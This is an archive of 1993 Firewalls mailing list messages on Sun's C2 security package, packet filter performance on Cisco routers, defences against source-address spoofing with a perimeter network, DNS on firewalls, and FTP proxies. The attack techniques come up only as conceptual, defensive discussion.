Cc: firewalls@greatcircle.com (fire walls) Subject: Re: How good is Sun's C2? In-Reply-To: Your message of "Thu, 23 Dec 1993 08:06:23 PST." <9312231606.AA10009@sherman.eng.octel.com> Date: Thu, 30 Dec 1993 10:56:57 -0700 From: Brad Huntting Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > I'm looking for opinions on the robustness of Sun's C2 package, esp. with > regard to the various passwd replacements on the net. Basically we are looking > for something to enforce "good" passwords and do shadowing. C2 seems to add > a decent audit trail as well. I haven't heard much about this, and really > don't care wether it is "really" C2 as defined in the Orange book, but that > it provides what we need on the host. This will be our bastion host, for > providing incoming telnet access until we get S/Key or secure card up and > running. I dont think Sun's C2 cares the slightest about "good" vs "bad" passwords. In fact, if you enable Sun's C2, you need to run rpc.pwauthd to let non-root users and users on other systems verify passwords. Unfortunatly, I suspect that rpc.pwauthd can be exploited from far away places on the network. If this is the case, then it means that almost anyone would be able to use your servers CPU as part of a multi-threaded password cracker. I've no doubt it's a bit more complex than this but never the less I was disuaded from installing C2 on my systems. Still, knowing Sun's keen eye for security it may be just that simple. > Thoughts? Am I better off with passwd+ or npasswd or ??? There is an excelent version of npasswd on boulder.colorado.edu which checks new passwords against the same paterns that Crack uses. Alas, no shadowing involved, but if you use good dictionaries, this simple program will make your system vitually un-"Crack"-able. I highly recommend it. brad From Firewalls-Owner@GreatCircle.COM Thu Dec 30 10:07:35 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26326; Thu, 30 Dec 93 18:00:00 GMT Received: from hsdndev.harvard.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26313; Thu, 30 Dec 93 09:59:46 PST Date: Thu, 30 Dec 93 13:00:49 -0500 From: sob@hsdndev.harvard.edu (Scott Bradner) Message-Id: <9312301800.AA12568@hsdndev.harvard.edu> To: jim@Tadpole.COM, smb@research.att.com Subject: Re: Packet Filter Performance Cc: firewalls@greatcircle.com, lacoursj@uprc.com, mjr@tis.com, sob@harvard.edu Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk All of the test results (including a number of tests of filter performance) are on hsdndev.harvard.edu in pub/ndtl for anonymous ftp. Scott ps - the software (hammer & anvil) are in pub/ndtl/programs/eutil From Firewalls-Owner@GreatCircle.COM Thu Dec 30 10:37:35 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26335; Thu, 30 Dec 93 18:00:06 GMT Received: from twogwn.canada.ncr.com ([153.71.63.50]) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26314; Thu, 30 Dec 93 09:59:49 PST Message-Id: <9312301759.AA26314@mycroft.GreatCircle.COM> Subject: Re: Packet Filter Performance To: jim@tadpole.com (Jim Thompson) Date: Thu, 30 Dec 1993 13:00:46 -0500 (EST) From: Greg Nenych Cc: firewalls@greatcircle.com In-Reply-To: <9312301657.AA22282@tadpole.Tadpole.COM> from "Jim Thompson" at Dec 30, 93 10:57:09 am Reply-To: greg.nenych@canada.ncr.com X-Mailer: ELM [version 2.4 PL21] Mime-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII Content-Length: 970 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Jim Thompson writes: > A long time ago, someone at Harvard cooked up two programs > running on semi-fast (at the time) PCs. The programs > were named 'hammer' and 'anvil'. Hammer was the source, anvil > was the sink. This individual then put various routers between > the two, and measured the packet rates he could obtain. In > the end he published pretty graphs, etc. > > I don't remember who he was, or where to get the graphs. Perhaps > someone with more time than I can find it via archie/... > > Jim Scott Bradner from Harvard gave a BOF presentation at the August Interop. You can ftp the results from hsdndev.harvard.edu in pub/ndtl. However, I don't think you'll find any vendors eager to test and advertize their router performance with filtering enabled. -- Greg Nenych | Internet greg.nenych@canada.ncr.com NCR Canada Ltd. | UUCP ...!uunetca!ncrcan!gnenych (905) 819-4122 | 6865 Century Ave, Mississauga, Ontario, Canada L5N 2E2 From Firewalls-Owner@GreatCircle.COM Thu Dec 30 18:52:38 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26664; Thu, 30 Dec 93 18:52:38 GMT Received: from gpu.utcc.utoronto.ca by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26656; Thu, 30 Dec 93 10:52:28 PST Received: by gpu.utcc.utoronto.ca id <18891>; Thu, 30 Dec 1993 13:53:25 -0500 From: Tom Molnar To: huntting@advtech.uswest.com, john.detke@octel.com Subject: Re: How good is Sun's C2? Cc: firewalls@GreatCircle.COM Message-Id: <93Dec30.135325est.18891@gpu.utcc.utoronto.ca> Date: Thu, 30 Dec 1993 13:53:04 -0500 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk # Unfortunatly, I suspect that rpc.pwauthd can be exploited from far away # places on the network. If this is the case, then it means that almost # anyone would be able to use your servers CPU as part of a # multi-threaded password cracker. That was the case when it first came out in SunOS 4.x.x. We weren't really interested in the auditing capability and just ran rpc.pwauthd. At the time, it proved to be unreliable, and when we began debugging the code we were dismayed to see that it, was, indeed open to remote probes. We fiddled the source to close this hole and log various things, but eventually we just dropped it and installed the BSD shadow password stuff on all our Suns that run 4.1.X. It's been trouble free ever since we installed it. Sun may have fixed rpc.pwauthd in the meantime, but I hadn't been paying attention to any patches relating to it, so I don't know if it's still as vulnerable or as unreliable as it was (for us at least) in 4.1.1. Regards, Tom From Firewalls-Owner@GreatCircle.COM Thu Dec 30 19:53:38 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26851; Thu, 30 Dec 93 19:53:38 GMT Received: from netmaine.ansremote.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26844; Thu, 30 Dec 93 11:53:29 PST Received: by netmaine.ansremote.com (IBM OS/2 SENDMAIL 1.2.10/1.0) id AA0056; Thu, 30 Dec 93 14:41:54 -0800 Message-Id: <9312302241.AA0056@netmaine.ansremote.com> Date: Thu, 30 Dec 93 14:11:35 EST From: "Andrew T. Robinson" To: firewalls@greatcircle.com Subject: Re: Source-address spoofing Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >There are two kinds of source-address spoofing and it's not clear which one >you mean. One, appearing to come from a different "name", > I was referring to the following situation (spoofing the IP address). I'm agonizing over DNS-based attacks too (and a lot of other folks seem to be as well), but one thing at a time... >Actual spoofing of source IP address is much harder to do. Not >only do you have to get control of a router (or configure a host to do routing >for you), but you also have to get your network provider to route this >presumably unusual address for you. The only other way I can think of is tapping a communications channel between the provider and the target. You'd either have to do this physically ("Say, do linemen usually carry 486 notebooks up on the pole with them?") or at a CO. If you can get access to the channel you can inject whatever you bloody want. But I'm not sure whether this is a practical threat. >You don't mention source-routing, but if you have questions about this, the >answer is "don't allow it." Once you allow source routing, any internal >protections you may have, such as, 'don't allow the internet to reach >such-and-such subnet,' will no longer work. > The question is, which routers and TCP/IP packages support a "drop (loose) source routed packets" filtering rule? >It turns out, the above three paragraphs were written in >order of popularity. The first method would be the most common type of attack >and the last paragraph describes the least common (IMHO). BTW, none >of these attacks is particularly common, but I have limited experience >in this field. I have less experience in this field than anyone, and I'm further handicapped by the fact that I have no Unix system management experience (for example, what's the difference between in.ftpd and plain old ftpd????). However, I would think that IP address spoofing would be rarer than source routing attacks. The latter can be accomplished with a copy of the IP spec, a C compiler, and a sockets library (even I wrote an IP source router for a class, in the days of yore). The former requires the cracker to subvert an Internet provider's router(s) or to tap the actual channel leading to the target site. (Please remember that I'm referring to Internet based attacks, not attacks from within a given organizational network) >That's ok, you don't know me, either. ;0) > It is hard to judge character electronically, but then again how could anyone from house.gov be a "bad guy"?? :-) >If you get some interesting answers privately, could you summarise for the >list? I'd like to hear what the big boys say. Thanks. Will do... Andy From Firewalls-Owner@GreatCircle.COM Thu Dec 30 20:01:22 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26910; Thu, 30 Dec 93 20:01:22 GMT Received: from PORTLAND.CAPS.MAINE.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26903; Thu, 30 Dec 93 12:01:11 PST Received: from PORTLAND.CAPS.MAINE.EDU by PORTLAND.CAPS.MAINE.EDU (IBM VM SMTP V2R2) with BSMTP id 8565; Thu, 30 Dec 93 15:03:32 EST Received: from PORTLAND.CAPS.MAINE.EDU (NJE origin ANDY@PORTLAND) by PORTLAND.CAPS.MAINE.EDU (LMail V1.1d/1.7f) with RFC822 id 6459; Thu, 30 Dec 1993 15:03:32 -0500 Message-Id: From: andy@PORTLAND.CAPS.MAINE.EDU (Andrew T. Robinson) To: firewalls@greatcircle.com Date: Thu, 30 Dec 93 15:01:15 EST Reply-To: netmaine@ansremote.com Subject: Re: Source-address spoofing Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >There are two kinds of source-address spoofing and it's not clear which one >you mean. One, appearing to come from a different "name", > I was referring to the following situation (spoofing the IP address). I'm agonizing over DNS-based attacks too (and a lot of other folks seem to be as well), but one thing at a time... >Actual spoofing of source IP address is much harder to do. Not >only do you have to get control of a router (or configure a host to do routing >for you), but you also have to get your network provider to route this >presumably unusual address for you. The only other way I can think of is tapping a communications channel between the provider and the target. You'd either have to do this physically ("Say, do linemen usually carry 486 notebooks up on the pole with them?") or at a CO. If you can get access to the channel you can inject whatever you bloody want. But I'm not sure whether this is a practical threat. >You don't mention source-routing, but if you have questions about this, the >answer is "don't allow it." Once you allow source routing, any internal >protections you may have, such as, 'don't allow the internet to reach >such-and-such subnet,' will no longer work. > The question is, which routers and TCP/IP packages support a "drop (loose) source routed packets" filtering rule? >It turns out, the above three paragraphs were written in >order of popularity. The first method would be the most common type of attack >and the last paragraph describes the least common (IMHO). BTW, none >of these attacks is particularly common, but I have limited experience >in this field. I have less experience in this field than anyone, and I'm further handicapped by the fact that I have no Unix system management experience (for example, what's the difference between in.ftpd and plain old ftpd????). However, I would think that IP address spoofing would be rarer than source routing attacks. The latter can be accomplished with a copy of the IP spec, a C compiler, and a sockets library (even I wrote an IP source router for a class, in the days of yore). The former requires the cracker to subvert an Internet provider's router(s) or to tap the actual channel leading to the target site. (Please remember that I'm referring to Internet based attacks, not attacks from within a given organizational network) >That's ok, you don't know me, either. ;0) > It is hard to judge character electronically, but then again how could anyone from house.gov be a "bad guy"?? :-) >If you get some interesting answers privately, could you summarise for the >list? I'd like to hear what the big boys say. Thanks. Will do... Andy From Firewalls-Owner@GreatCircle.COM Thu Dec 30 20:19:56 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26988; Thu, 30 Dec 93 20:19:56 GMT Received: from Sun.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26980; Thu, 30 Dec 93 12:19:27 PST Received: from snail.Sun.COM (snail.Corp.Sun.COM) by Sun.COM (4.1/SMI-4.1) id AA25473; Thu, 30 Dec 93 12:19:55 PST Received: from UK.Sun.COM (sunuk) by snail.Sun.COM (4.1/SMI-4.1) id AA02604; Thu, 30 Dec 93 12:19:53 PST Received: from bagsun.UK.Sun.COM by UK.Sun.COM (4.1/SMI-4.1e-UK) id AA05403; Thu, 30 Dec 93 20:19:51 GMT Received: from liberator.UK.Sun.COM (liberator-bb) by bagsun.UK.Sun.COM (4.1/SMI-5.0-sec(uk - sec)) id AA01033; Thu, 30 Dec 93 20:19:49 GMT Received: from uk-usenet.uk.sun.com by liberator.UK.Sun.COM (4.1/SMI-4.0) id AA08716; Thu, 30 Dec 93 20:17:58 GMT From: Alec.Muffett@UK.Sun.COM (Alec Muffett - Sun IS - System Administrator) Message-Id: <9312302017.AA08716@liberator.UK.Sun.COM> Subject: Re: How good is Sun's C2? To: huntting@advtech.uswest.com (Brad Huntting) Date: Thu, 30 Dec 93 20:19:47 BST Cc: john.detke@octel.com, firewalls@GreatCircle.COM In-Reply-To: <9312301756.AA10643@futureworld.advtech.uswest.com>; from "Brad Huntting" at Dec 30, 93 10:56 am X-Mailer: ELM [version 2.2 PL16] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >Unfortunatly, I suspect that rpc.pwauthd can be exploited from far away >places on the network. If this is the case, then it means that almost >anyone would be able to use your servers CPU as part of a >multi-threaded password cracker. I'm interested by the phrase "multi-threaded password cracker"; several people have bandied it around in my presence ("Why not make Crack 5.0 multithreaded ?"), and so: When, given the 'serial' nature of cracking (try one word, try the next, and so on...), and my observation that given two processors, it seems most efficient to run two "separate and unconnected" crackers on them (so that neither has to wait for the other in order to progress at any stage)... - is there any PRACTICAL (as opposed to aesthetic) advantage I could gain from "multi-threading" a version of Crack ? - is there a part of the Crack strategy that could benefit from a multi-threading architecture ? I suspect not (much), but I beg the experiences of this forum. >There is an excelent version of npasswd on boulder.colorado.edu which >checks new passwords against the same paterns that Crack uses. Alas, >no shadowing involved, but if you use good dictionaries, this simple >program will make your system vitually un-"Crack"-able. I highly >recommend it. I'm not sure if the version you cite uses my 'CrackLib' - but if not, here's a quick plug: CrackLib is a library which you can wire into almost any 'C' app, to do high-speed 'fascist' checks on a password that someone wishes to use... eg: in a 'passwd' program. For more details, email me or check the security FAQ. - alec From Firewalls-Owner@GreatCircle.COM Thu Dec 30 20:23:58 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA27008; Thu, 30 Dec 93 20:23:58 GMT Received: from relay.tis.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA27001; Thu, 30 Dec 93 12:23:51 PST Received: by relay.tis.com; id AA25074; Thu, 30 Dec 93 15:25:00 EST Received: from sol.tis.com(192.33.112.100) by relay via smap (V1.0mjr) id sma025072; Thu Dec 30 15:24:52 1993 Received: from otter.tis.com by tis.com (4.1/SUN-5.64) id AA16472; Thu, 30 Dec 93 15:24:45 EST Received: by otter.tis.com (4.1/SMI-4.1) id AA12529; Thu, 30 Dec 93 15:24:43 EST Date: Thu, 30 Dec 93 15:24:43 EST From: mjr@tis.com Message-Id: <9312302024.AA12529@otter.tis.com> To: firewalls@GreatCircle.COM, netmaine@ansremote.com Subject: Re: Source-address spoofing Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >I'm >agonizing over DNS-based attacks too (and a lot of other folks seem to be as >well), but one thing at a time... Don't agonize over DNS-based attacks. Just make sure that your firewall system don't rely in any way, shape, or form on DNS information to execute its security policies. Then worry about IP address spoofing. :) For example, the firewall should be able to use DNS for SMTP mail delivery, but make it use IP addresses for permitting or denying operations based on source or destination. >The question is, which routers and TCP/IP packages support a "drop (loose) >source routed packets" filtering rule? Cisco does, with the latest firmware. DEC machines running Jeff Mogul's screend do (in the best possible way: the code to decode IP options doesn't exist). Presumably other routers do as well. mjr. From Firewalls-Owner@GreatCircle.COM Thu Dec 30 22:57:36 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA27453; Thu, 30 Dec 93 22:57:36 GMT Received: from glare.cisco.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA27445; Thu, 30 Dec 93 14:57:26 PST Received: by glare.cisco.com id AA08881 (5.67a/IDA-1.5); Thu, 30 Dec 1993 14:58:24 -0800 Date: Thu, 30 Dec 93 14:58:24 PST From: William "Chops" Westfield To: David K. Harris Cc: Brent@GreatCircle.COM, firewalls@GreatCircle.COM, lacoursj@uprc.com Subject: Re: Packet Filter Performance (fwd) In-Reply-To: Your message of Thu, 30 Dec 93 9:33:06 PST Message-Id: Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > No. On a Cisco, you can only filter packets as they're outgoing on > some interface. Thus, you have to put filters on _all_ the interfaces > to use a Cisco in a typical firewall system. If it's a > multi-interface box that you want to use for internal routing as well > as your Internet connection (a box with 1 serial port for the Internet > line and 2 ethernet ports for internal networks, for instance), having > to set up filters on all the ethernet ports kills the ether-to-ether > routing performance. Input access lists are coming soon to a cisco router near you. Also, access list processing has been improved over the years, and I don't think it is accurate any longer to say that applying a (filter) "kills" ether to ether performance. Last I heard, the degredation was on the order of 10% or so from something. Our performance marketing gurus would know for sure... BillW cisco From Firewalls-Owner@GreatCircle.COM Thu Dec 30 23:12:11 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA27553; Thu, 30 Dec 93 23:12:11 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA27544; Thu, 30 Dec 93 15:11:55 PST Message-Id: <9312302311.AA27544@mycroft.GreatCircle.COM> To: leon@orbot.co.il (Leon Koll) Cc: firewalls@GreatCircle.COM Subject: Re: DNS on firewall In-Reply-To: Your message of Thu, 30 Dec 93 15:13:25 IST Date: Thu, 30 Dec 1993 15:11:54 -0800 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk leon@orbot.co.il (Leon Koll) writes: # Hello to FIREWALLS GURUS ! # # I am novice, i must setup the DNS on my # Sun Sparcstation 2 (SUN OS 4.1.3) that will acts as firewall. # What is the standard, simple, reliable decision ? # (DNS with/without NIS; named/BIND, so on...) # # Please send me your tips&hints, how-to's, pointers to papers/FAQs, etc. ftp://ftp.greatcircle.com/pub/firewalls/topics/dns.Z -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner@GreatCircle.COM Thu Dec 30 23:53:59 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA27704; Thu, 30 Dec 93 23:53:59 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA27694; Thu, 30 Dec 93 15:53:46 PST Message-Id: <9312302353.AA27694@mycroft.GreatCircle.COM> To: "Andrew T. Robinson" Cc: Firewalls mailing list Subject: Re: Source-address spoofing In-Reply-To: Your message of Thu, 30 Dec 93 01:33:07 EST Date: Thu, 30 Dec 1993 15:53:44 -0800 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk "Andrew T. Robinson" writes: # I've been mulling over the issue of source-address spoofing as I try # to design a firewall. With what frequency do source-address-spoofing # attacks occur over the Internet (as opposed to within a particular # LAN)? I've never seen one. Bellovin and Cheswick have the best setup that I know of for monitoring for this type of attack; have you guys seen much? # What techniques do crackers use to accomplish this? My bet would be a PC or Mac, or a UNIX machine with a "NIT" or equivalent interface, that lets you feed fully-formed packets to an Ethernet. Shouldn't be too difficult. # And what # passive (i.e., not authentication-driven) defenses can be built into a # firewall to block these attacks? The best one I know of is to build your firewall with a "perimeter" net, use a separate Class C address (not part of your normal Class A, B, or C network) for the perimiter net, then configure the router between the perimeter net and your internal net to reject any packets that claim to have a source address on the internal net. You can also have the router between the Internet and the perimeter net reject packets with perimeter or internal source addresses. Depending on how your packet filtering implementation works (in particular, whether or not packets from the router itself are subject to filtering), you may need to put in a specific exception to allow the internal router to send packets from its address on the internal net to other addresses on the internal net. A diagram is in order... /----------\ | Internet | \----+-----/ | +----+-----+ | External | | Router | +----+-----+ | 198.102.244.1 =====+===============================+================ Perimeter Network 198.102.244.2 | 198.102.244.* +----+-----+ | Internal | | Router | +----+-----+ 143.191.1.2 | =============================+================ Internal Network 143.191.*.* You can block source address spoofing by setting up packet filtering on the internal router to drop packets with source addresses of 143.191.*.* (except for 143.191.1.2, the router itself), and configuring the external router to drop packets with source addresses of 198.102.244.* (except for 198.102.244.1, the router itself). -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner@GreatCircle.COM Fri Dec 31 00:05:04 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA27817; Fri, 31 Dec 93 00:05:04 GMT Received: from uswat.advtech.uswest.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA27806; Thu, 30 Dec 93 16:04:53 PST Received: from futureworld.advtech.uswest.com by uswat.advtech.uswest.com with SMTP id AA18876 (5.65c/IDA-1.4.4); Thu, 30 Dec 1993 17:06:01 -0700 Received: from localhost.uswest.com by futureworld.advtech.uswest.com (advtech.uswest.com) id AA11842 (4.1/at-generic.8Nov93); Thu, 30 Dec 93 17:05:59 MST Message-Id: <9312310005.AA11842@futureworld.advtech.uswest.com> To: "William " Chops " Westfield" Cc: "David K. Harris" , Brent@greatcircle.com, firewalls@greatcircle.com, lacoursj@uprc.com Subject: Re: Packet Filter Performance (fwd) In-Reply-To: Your message of "Thu, 30 Dec 1993 14:58:24 PST." Date: Thu, 30 Dec 1993 17:05:58 -0700 From: Brad Huntting Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > Input access lists are coming soon to a cisco router near you. Any chance we'll be able to filter by ICMP type or type/code fields? Think of it as an ICMP "port number" only with a different offset. It would be awfully nice to block redirect's while allowing other more benign types through. brad From Firewalls-Owner@GreatCircle.COM Fri Dec 31 03:08:43 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA29551; Fri, 31 Dec 93 10:09:15 GMT Received: from ash.cisco.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA29544; Fri, 31 Dec 93 02:09:00 PST Received: by ash.cisco.com; Fri, 31 Dec 93 02:10:11 -0800 From: Roland Acra Message-Id: <9312311010.AA29100@ash.cisco.com> Subject: Re: Packet Filter Performance To: brent@GreatCircle.COM (Brent Chapman) Date: Fri, 31 Dec 93 2:10:10 PST Cc: lacoursj@uprc.com, firewalls@GreatCircle.COM In-Reply-To: <9312301642.AA25907@mycroft.GreatCircle.COM>; from "Brent Chapman" at Dec 30, 93 8:42 am X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > # Cisco novice question: is it possible to enable filtering for packets > # inbound/outbound through the internet interface, but disabled for all > # other interfaces? In other words, filter all internet traffic but allow > # all internal subnet-subnet traffic to pass unfiltered? I guess the > # internet traffic would still bog down the router anyway, though. > > No. On a Cisco, you can only filter packets as they're outgoing on > some interface. Thus, you have to put filters on _all_ the interfaces > to use a Cisco in a typical firewall system. If it's a > multi-interface box that you want to use for internal routing as well > as your Internet connection (a box with 1 serial port for the Internet > line and 2 ethernet ports for internal networks, for instance), having > to set up filters on all the ethernet ports kills the ether-to-ether > routing performance. The next software release, known as 9.21 and scheduled for 1Q94, will also provide inbound access-lists, i.e., access-lists that apply to the inbound interface. As you correctly pointed out, current access lists apply to the interface on which the packet is leaving the router. > In my opinion, this is one of the 2 major flaws in Cisco's > otherwise-good packet filtering scheme. The other is that they don't > let you look at TCP or UDP source ports. Yes, the latter is on the wish list for future development. I don't have a date for it, yet, unfortunately. Roland Acra Cisco Systems, Europe From Firewalls-Owner@GreatCircle.COM Fri Dec 31 22:41:28 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA01150; Fri, 31 Dec 93 22:41:28 GMT Received: from natinst.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA01143; Fri, 31 Dec 93 14:41:20 PST Received: from zippy.radian.com ([129.160.16.4]) by natinst.com with SMTP id AA00567 (5.65c/IDA-1.4.4 for Firewalls@greatcircle.com); Fri, 31 Dec 1993 16:42:38 -0600 Message-Id: <199312312242.AA00567@natinst.com> Received: from binky.radian.com by zippy.radian.com with SMTP (16.8/16.2) id AA01332; Fri, 31 Dec 93 16:43:18 -0600 From: Dale Whiteaker-Lewis Received: by binky (4.1/subsidiary) id AA17533; Fri, 31 Dec 93 16:40:41 CST Subject: Is there an FTP proxy that can also give local service? To: Firewalls@greatcircle.com Date: Fri, 31 Dec 93 16:40:41 CST Cc: dalewl@zippy.radian.com (Dale Whiteaker-Lewis) X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Is there an FTP proxy server that also provides local FTP service to the machine that hosts it? I mean, if someone from the Internet types in a local user name or anonymous at the username prompt they can access the file archives on the machine running the proxy server, but if they are coming from inside and they answer user@hostname to the user prompt, they are gateway-ed to that system. This would seem desirable so that you could provide both normal anonymous FTP service to the Internet community and proxy FTP service for internal users on the same, standard FTP port, without modifying any clients. Am I crazy? Has this already been done?